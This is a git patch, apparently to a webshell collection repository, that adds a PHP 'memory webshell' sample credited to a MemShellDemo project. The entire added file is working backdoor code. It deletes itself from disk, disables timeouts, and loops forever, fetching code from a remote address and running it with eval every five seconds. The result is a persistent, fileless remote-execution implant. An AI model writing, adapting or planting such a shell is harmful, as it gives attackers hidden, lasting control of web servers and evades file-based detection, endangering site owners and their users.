From 28770e0fc8b68d9543391b7f5f134595737ee7cd Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Wed, 26 May 2021 23:04:25 +0800
Subject: [PATCH] =?UTF-8?q?add=20MemphpShell=20@MemShell=20=F0=9F=91=8D?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

from ：https://github.com/jweny/MemShellDemo
---
 php/MemShellForPHP/memWebshell.php | 13 +++++++++++++
 1 file changed, 13 insertions(+)
 create mode 100644 php/MemShellForPHP/memWebshell.php

diff --git a/php/MemShellForPHP/memWebshell.php b/php/MemShellForPHP/memWebshell.php
new file mode 100644
index 0000000..e1d65cd
--- /dev/null
+++ b/php/MemShellForPHP/memWebshell.php
@@ -0,0 +1,13 @@
+    <?php
+        chmod($_SERVER['SCRIPT_FILENAME'], 0777);
+        unlink($_SERVER['SCRIPT_FILENAME']);
+        ignore_user_abort(true);
+        set_time_limit(0);
+        echo "success";
+        $remote_file = 'http://10.211.55.2/111/test.txt';
+        while($code = file_get_contents($remote_file)){
+        @eval($code);
+        echo "xunhuan";
+        sleep(5);
+        };
+    ?>